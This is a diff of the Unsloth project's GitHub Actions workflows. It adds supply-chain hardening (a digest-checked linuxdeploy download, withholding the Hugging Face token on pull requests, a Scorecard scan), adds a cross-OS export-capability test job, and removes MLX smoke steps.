# Studio bundles only llama-server + llama-quantize from the
|
||||
# prebuilt (not llama-cli) -- inference goes through
|
||||
# llama-server's HTTP /completion endpoint. Validate both:
|
||||
# llama-quantize --help proves the dynamic libs link, then
|
||||
# spin up llama-server and POST a /completion request on a
|
||||
# tiny published GGUF.
|
||||
# Final step: runs the downloaded binaries with no secrets present, and clears
|
||||
# the GitHub Actions command files so a tampered prebuilt cannot influence the job.
|
||||
- name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
|
||||
run: |
|
||||
set -euo pipefail
|
||||
unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
|
||||
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
|
||||
# Studio bundles only llama-server + llama-quantize (not llama-cli);
|
||||
# inference goes through llama-server's HTTP /completion endpoint.
|
||||
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
|
||||
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
|
||||
[ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
|
||||
|
|
@ -274,12 +359,6 @@ jobs:
|
|||
echo "llama-quantize: $LLAMA_QUANT"
|
||||
"$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK"
|
||||
|
||||
mkdir -p /tmp/ggufs
|
||||
bash .github/scripts/hf-download-with-retry.sh \
|
||||
'unsloth/gemma-3-270m-it-GGUF' \
|
||||
'gemma-3-270m-it-Q4_K_M.gguf' \
|
||||
/tmp/ggufs
|
||||
|
||||
PORT=18080
|
||||
echo "=== starting llama-server on 127.0.0.1:$PORT ==="
|
||||
"$LLAMA_SERVER" \
|
||||
|
|
@ -322,82 +401,3 @@ jobs:
|
|||
exit 1
|
||||
fi
|
||||
echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
|
||||
|
||||
# Real MLX training + inference smoke test. Trains
|
||||
# unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
|
||||
# (batch_size=2, gradient_accumulation_steps=3) on a single
|
||||
# repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
|
||||
# the trained model in 3 export formats. The `train` subcommand
|
||||
# captures per-phase timing + peak GPU + peak RSS into
|
||||
# train_metrics.json so we can detect regressions across CI runs.
|
||||
- name: MLX export round-trip — TRAIN + SAVE 3 formats
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
mkdir -p mlx_workdir
|
||||
python tests/studio/run_real_mlx_smoke.py train \
|
||||
--workdir "$PWD/mlx_workdir"
|
||||
|
||||
# Each reload step runs in a FRESH Python process to confirm
|
||||
# the cold-start path users would hit in production also works
|
||||
# (not just the in-memory continuation of a still-running
|
||||
# trainer). FastMLXModel.from_pretrained gets called from
|
||||
# scratch; mx.random is re-seeded; per-step timing + peak
|
||||
# memory are emitted to {format}_reload_metrics.json next to
|
||||
# the saved dir.
|
||||
- name: MLX export round-trip — RELOAD LoRA (fresh process)
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format lora \
|
||||
--dir "$PWD/mlx_workdir/lora"
|
||||
|
||||
- name: MLX export round-trip — RELOAD merged_16bit (fresh process)
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
UNSLOTH_COMPILE_DISABLE: '1'
|
||||
run: |
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format merged \
|
||||
--dir "$PWD/mlx_workdir/merged_16bit"
|
||||
|
||||
# GGUF reload uses the llama-cli binary that save_pretrained_gguf
|
||||
# built. If save_pretrained_gguf was skipped during train (e.g.
|
||||
# llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
|
||||
# vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
|
||||
# bug), this step emits a workflow warning and exits 0 so the
|
||||
# LoRA + merged_16bit assertions remain the gating signal.
|
||||
- name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
run: |
|
||||
if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
|
||||
python tests/studio/run_real_mlx_smoke.py reload \
|
||||
--format gguf \
|
||||
--dir "$PWD/mlx_workdir/gguf"
|
||||
else
|
||||
REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
|
||||
echo "::warning title=GGUF round-trip skipped::${REASON}"
|
||||
echo "GGUF export was skipped during the train phase. Reason:"
|
||||
echo " ${REASON}"
|
||||
echo "Continuing without failing the job; the LoRA + merged_16bit"
|
||||
echo "reload assertions are still gating this PR."
|
||||
fi
|
||||
|
||||
# Print all metrics JSON files so regressions are visible in the
|
||||
# job log. always() so we get telemetry even if a reload step
|
||||
# asserted gibberish.
|
||||
- name: MLX export round-trip — aggregate metrics
|
||||
if: always()
|
||||
run: |
|
||||
for f in mlx_workdir/train_metrics.json \
|
||||
mlx_workdir/lora_reload_metrics.json \
|
||||
mlx_workdir/merged_reload_metrics.json \
|
||||
mlx_workdir/gguf_reload_metrics.json; do
|
||||
echo "=== $f ==="
|
||||
cat "$f" 2>/dev/null || echo "(missing)"
|
||||
echo
|
||||
done
|
||||
|
|
|
|||
2
.github/workflows/notebooks-ci.yml
vendored
2
.github/workflows/notebooks-ci.yml
vendored
|
|
@ -263,7 +263,7 @@ jobs:
|
|||
# unsloth_zoo.vision_utils imports PIL at module top, and the
|
||||
# easiest way to get a torch-compatible PIL on a CPU runner is
|
||||
# to let torchvision pull the right Pillow version.
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.8,<2.11' 'torchvision<0.26'
|
||||
# Pin to the same versions update_all_notebooks.py installs in
|
||||
# generated notebooks. Keep these in lockstep with PIN_TRL /
|
||||
|
|
|
|||
78
.github/workflows/ossf.yml
vendored
Normal file
78
.github/workflows/ossf.yml
vendored
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
# This workflow uses actions that are not certified by GitHub. They are provided
|
||||
# by a third-party and are governed by separate terms of service, privacy
|
||||
# policy, and support documentation.
|
||||
|
||||
name: Scorecard supply-chain security
|
||||
on:
|
||||
# For Branch-Protection check. Only the default branch is supported. See
|
||||
# https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
|
||||
branch_protection_rule:
|
||||
# To guarantee Maintained check is occasionally updated. See
|
||||
# https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
|
||||
schedule:
|
||||
- cron: '21 20 * * 0'
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
|
||||
# Declare default permissions as read only.
|
||||
permissions: read-all
|
||||
|
||||
jobs:
|
||||
analysis:
|
||||
name: Scorecard analysis
|
||||
runs-on: ubuntu-latest
|
||||
# `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
|
||||
if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
|
||||
permissions:
|
||||
# Needed to upload the results to code-scanning dashboard.
|
||||
security-events: write
|
||||
# Needed to publish results and get a badge (see publish_results below).
|
||||
id-token: write
|
||||
# Uncomment the permissions below if installing in a private repository.
|
||||
# contents: read
|
||||
# actions: read
|
||||
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: "Run analysis"
|
||||
uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1
|
||||
with:
|
||||
results_file: results.sarif
|
||||
results_format: sarif
|
||||
# (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
|
||||
# - you want to enable the Branch-Protection check on a *public* repository, or
|
||||
# - you are installing Scorecard on a *private* repository
|
||||
# To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
|
||||
# repo_token: ${{ secrets.SCORECARD_TOKEN }}
|
||||
|
||||
# Public repositories:
|
||||
# - Publish results to OpenSSF REST API for easy access by consumers
|
||||
# - Allows the repository to include the Scorecard badge.
|
||||
# - See https://github.com/ossf/scorecard-action#publishing-results.
|
||||
# For private repositories:
|
||||
# - `publish_results` will always be set to `false`, regardless
|
||||
# of the value entered here.
|
||||
publish_results: true
|
||||
|
||||
# (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
|
||||
# file_mode: git
|
||||
|
||||
# Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
|
||||
# format to the repository Actions tab.
|
||||
- name: "Upload artifact"
|
||||
uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1
|
||||
with:
|
||||
name: SARIF file
|
||||
path: results.sarif
|
||||
retention-days: 5
|
||||
|
||||
# Upload the results to GitHub's code scanning dashboard (optional).
|
||||
# Commenting out will disable upload of results to your repo's Code Scanning dashboard
|
||||
- name: "Upload to code-scanning"
|
||||
uses: github/codeql-action/upload-sarif@v3
|
||||
with:
|
||||
sarif_file: results.sarif
|
||||
101
.github/workflows/release-desktop.yml
vendored
101
.github/workflows/release-desktop.yml
vendored
|
|
@ -353,7 +353,7 @@ jobs:
|
|||
if: matrix.platform == 'ubuntu-22.04'
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
|
||||
sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
|
||||
|
||||
# ── Node.js ──
|
||||
- name: Setup Node.js
|
||||
|
|
@ -406,9 +406,65 @@ jobs:
|
|||
if (config.bundle?.linux?.rpm) {
|
||||
throw new Error('bundle.linux.rpm must not be configured');
|
||||
}
|
||||
if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) {
|
||||
throw new Error('Linux AppImage bundleMediaFramework must stay false');
|
||||
}
|
||||
|
||||
const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8');
|
||||
const lines = workflow.split(/\r?\n/);
|
||||
const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install'));
|
||||
const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-');
|
||||
if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) {
|
||||
throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package');
|
||||
}
|
||||
if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) {
|
||||
throw new Error('Desktop Linux release must install libappindicator3-dev');
|
||||
}
|
||||
const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download'));
|
||||
if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) {
|
||||
throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2');
|
||||
}
|
||||
// A pinned version/path is reproducibility, not integrity: the asset
|
||||
// can be replaced after upload. Require the immutable SHA-256 digest
|
||||
// to be pinned AND verified before chmod +x. Scope every check to the
|
||||
// real "Pin linuxdeploy for AppImage" step so this guard cannot
|
||||
// satisfy itself; a file-wide scan would match the guard's own code.
|
||||
const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a';
|
||||
const isComment = (line) => {
|
||||
const trimmed = line.trim();
|
||||
return trimmed.startsWith('#') || trimmed.startsWith('//');
|
||||
};
|
||||
const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line));
|
||||
if (stepStart === -1) {
|
||||
throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step');
|
||||
}
|
||||
const stepIndent = lines[stepStart].search(/\S/);
|
||||
let stepEnd = lines.length;
|
||||
for (let i = stepStart + 1; i < lines.length; i += 1) {
|
||||
const line = lines[i];
|
||||
if (line.trim() === '') continue;
|
||||
const indent = line.search(/\S/);
|
||||
// The next sibling step ('- ...') at the same indent, or any dedent
|
||||
// below the step, ends this step's block.
|
||||
if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) {
|
||||
stepEnd = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
const stepLines = lines.slice(stepStart, stepEnd);
|
||||
const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/;
|
||||
const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line));
|
||||
if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) {
|
||||
throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env');
|
||||
}
|
||||
const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c'));
|
||||
if (sha256Idx === -1) {
|
||||
throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use');
|
||||
}
|
||||
const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line));
|
||||
if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
|
||||
throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
|
||||
}
|
||||
const releaseBodies = [];
|
||||
for (let i = 0; i < lines.length; i += 1) {
|
||||
const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
|
||||
|
|
@ -438,6 +494,12 @@ jobs:
|
|||
if (/\brpm\b|\.rpm/i.test(body)) {
|
||||
throw new Error('Desktop release body must not advertise RPM packages');
|
||||
}
|
||||
if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
|
||||
throw new Error('Desktop release body must not advertise AppImage as universal');
|
||||
}
|
||||
if (!/AppImage.*experimental/i.test(body)) {
|
||||
throw new Error('Desktop release body must mark AppImage as experimental');
|
||||
}
|
||||
}
|
||||
JS
|
||||
|
||||
|
|
@ -562,6 +624,33 @@ jobs:
|
|||
Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH"
|
||||
trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run"
|
||||
|
||||
# ── Linux: pin AppImage packaging toolchain ──
|
||||
- name: Pin linuxdeploy for AppImage
|
||||
if: matrix.platform == 'ubuntu-22.04'
|
||||
shell: bash
|
||||
env:
|
||||
# Pinning the versioned release path is reproducibility, not
|
||||
# integrity: a GitHub release asset can be replaced (or its delivery
|
||||
# path compromised) after upload. The SHA-256 below is the immutable
|
||||
# digest of this exact asset and is the integrity gate. If linuxdeploy
|
||||
# publishes a new build under this tag, this run fails closed and the
|
||||
# digest must be re-pinned deliberately.
|
||||
LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage"
|
||||
LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a"
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri"
|
||||
mkdir -p "$tools_dir"
|
||||
dest="$tools_dir/linuxdeploy-x86_64.AppImage"
|
||||
curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
|
||||
# Verify the digest BEFORE the binary is ever marked executable. The
|
||||
# next step builds the AppImage with the Tauri signing key and a
|
||||
# contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
|
||||
# that ran here could exfiltrate signing material or tamper with
|
||||
# published release artifacts. Fail closed on any mismatch.
|
||||
echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c -
|
||||
chmod +x "$dest"
|
||||
|
||||
# ── Linux: build + sign + upload ──
|
||||
- name: Build Linux app
|
||||
if: matrix.platform == 'ubuntu-22.04'
|
||||
|
|
@ -570,6 +659,7 @@ jobs:
|
|||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
|
||||
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
|
||||
XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
|
||||
with:
|
||||
projectPath: studio
|
||||
tauriScript: npx --prefix . tauri
|
||||
|
|
@ -580,9 +670,10 @@ jobs:
|
|||
|
||||
**macOS**: Download the Apple Silicon `.dmg`.
|
||||
**Windows**: Download the `-setup.exe` installer.
|
||||
**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
|
||||
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
|
||||
|
||||
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
|
||||
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
|
||||
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
|
||||
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
|
||||
releaseDraft: ${{ inputs.draft }}
|
||||
|
|
@ -611,9 +702,10 @@ jobs:
|
|||
|
||||
**macOS**: Download the Apple Silicon `.dmg`.
|
||||
**Windows**: Download the `-setup.exe` installer.
|
||||
**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
|
||||
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
|
||||
|
||||
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
|
||||
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
|
||||
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
|
||||
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
|
||||
releaseDraft: ${{ inputs.draft }}
|
||||
|
|
@ -643,9 +735,10 @@ jobs:
|
|||
|
||||
**macOS**: Download the Apple Silicon `.dmg`.
|
||||
**Windows**: Download the `-setup.exe` installer.
|
||||
**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
|
||||
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
|
||||
|
||||
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
|
||||
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
|
||||
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
|
||||
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
|
||||
releaseDraft: ${{ inputs.draft }}
|
||||
|
|
|
|||
6
.github/workflows/security-audit.yml
vendored
6
.github/workflows/security-audit.yml
vendored
|
|
@ -2,8 +2,8 @@
|
|||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
|
||||
# Multi-language supply-chain audit. Triggers:
|
||||
# - PRs touching any dependency manifest (Python / npm / Cargo) or
|
||||
# this workflow file,
|
||||
# - PRs touching any dependency manifest (Python / npm / Cargo), a
|
||||
# scanner or its allowlist baseline, or this workflow file,
|
||||
# - push to main / pip,
|
||||
# - nightly @ 04:13 UTC so newly-published advisories surface even
|
||||
# when no PR opens,
|
||||
|
|
@ -57,7 +57,9 @@ on:
|
|||
- 'studio/src-tauri/Cargo.lock'
|
||||
- 'pyproject.toml'
|
||||
- 'scripts/scan_packages.py'
|
||||
- 'scripts/scan_packages_baseline.json'
|
||||
- 'scripts/scan_npm_packages.py'
|
||||
- 'scripts/scan_npm_packages_baseline.json'
|
||||
- '.github/workflows/security-audit.yml'
|
||||
push:
|
||||
branches: [main, pip]
|
||||
|
|
|
|||
6
.github/workflows/studio-api-smoke.yml
vendored
6
.github/workflows/studio-api-smoke.yml
vendored
|
|
@ -83,7 +83,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -100,7 +101,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
|
|||
16
.github/workflows/studio-backend-ci.yml
vendored
16
.github/workflows/studio-backend-ci.yml
vendored
|
|
@ -68,15 +68,16 @@ jobs:
|
|||
pip install -r studio/backend/requirements/studio.txt
|
||||
# Extras that studio.txt does not list but the import chain needs
|
||||
# (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
|
||||
# for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
|
||||
# for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
|
||||
# the orphan-cleanup process scan, etc.):
|
||||
pip install \
|
||||
python-multipart aiofiles sqlalchemy cryptography \
|
||||
python-multipart aiofiles sqlalchemy cryptography psutil \
|
||||
pyyaml jinja2 mammoth unpdf requests \
|
||||
'numpy<3' pytest pytest-asyncio httpx
|
||||
# Torch CPU + transformers are required by a chunk of the backend test
|
||||
# suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch
|
||||
# keeps the install ~250 MB / ~1 min on a clean runner.
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11'
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11'
|
||||
pip install 'transformers>=4.51,<5.5'
|
||||
|
||||
- name: Backend tests
|
||||
|
|
@ -133,11 +134,11 @@ jobs:
|
|||
python -m pip install --upgrade pip
|
||||
pip install -r studio/backend/requirements/studio.txt
|
||||
pip install \
|
||||
python-multipart aiofiles sqlalchemy cryptography \
|
||||
python-multipart aiofiles sqlalchemy cryptography psutil \
|
||||
pyyaml jinja2 mammoth unpdf requests typer \
|
||||
'numpy<3' pytest pytest-asyncio httpx
|
||||
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu \
|
||||
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
|
||||
'torch>=2.4,<2.11' 'torchvision<0.26'
|
||||
pip install 'transformers>=4.51,<5.5'
|
||||
# bitsandbytes: hard import in unsloth/models/_utils.py. Recent
|
||||
|
|
@ -226,9 +227,12 @@ jobs:
|
|||
tests/sh/test_studio_home_node_dir.sh \
|
||||
tests/sh/test_system_node_readonly.sh \
|
||||
tests/sh/test_nvcc_meets_llama_minimum.sh \
|
||||
tests/sh/test_resolve_cuda_archs.sh \
|
||||
tests/sh/test_tauri_install_exit_order.sh \
|
||||
tests/sh/test_torch_constraint.sh \
|
||||
tests/sh/test_torch_flavor.sh; do
|
||||
tests/sh/test_torch_flavor.sh \
|
||||
tests/sh/test_with_llama_cpp_dir_flag.sh \
|
||||
tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
|
||||
echo "::group::$s"
|
||||
bash "$s"
|
||||
echo "::endgroup::"
|
||||
|
|
|
|||
76
.github/workflows/studio-export-capability-ci.yml
vendored
Normal file
76
.github/workflows/studio-export-capability-ci.yml
vendored
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
|
||||
# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
|
||||
#
|
||||
# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
|
||||
# platform) and the export backend must import without PyTorch, so this confirms the gating and
|
||||
# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
|
||||
# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
|
||||
# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
|
||||
|
||||
name: Studio export capability
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'studio/backend/utils/hardware/hardware.py'
|
||||
- 'studio/backend/core/export/export.py'
|
||||
- 'studio/backend/routes/export.py'
|
||||
- 'studio/backend/main.py'
|
||||
- 'studio/backend/tests/test_export_capability.py'
|
||||
- '.github/workflows/studio-export-capability-ci.yml'
|
||||
push:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'studio/backend/utils/hardware/hardware.py'
|
||||
- 'studio/backend/core/export/export.py'
|
||||
- 'studio/backend/routes/export.py'
|
||||
- 'studio/backend/main.py'
|
||||
- 'studio/backend/tests/test_export_capability.py'
|
||||
- '.github/workflows/studio-export-capability-ci.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
capability:
|
||||
name: capability (${{ matrix.os }})
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 20
|
||||
env:
|
||||
# No accelerator on hosted runners; keep detection on the CPU path.
|
||||
CUDA_VISIBLE_DEVICES: ""
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
- name: Upgrade pip
|
||||
run: python -m pip install --upgrade pip
|
||||
- name: Install CPU PyTorch
|
||||
# CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
|
||||
# transitive deps still resolve (matching the other workflows in this repo).
|
||||
run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
|
||||
- name: Install backend import deps
|
||||
# Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
|
||||
# the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
|
||||
run: python -m pip install
|
||||
transformers peft accelerate safetensors huggingface_hub datasets
|
||||
sentencepiece protobuf fastapi starlette structlog psutil
|
||||
python-multipart pydantic httpx "numpy<3" pytest
|
||||
- name: Export capability + import-safety tests
|
||||
working-directory: studio/backend
|
||||
run: python -m pytest tests/test_export_capability.py -q
|
||||
62
.github/workflows/studio-inference-smoke.yml
vendored
62
.github/workflows/studio-inference-smoke.yml
vendored
|
|
@ -97,7 +97,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -114,7 +115,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -364,7 +366,8 @@ jobs:
|
|||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
|
|
@ -380,7 +383,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
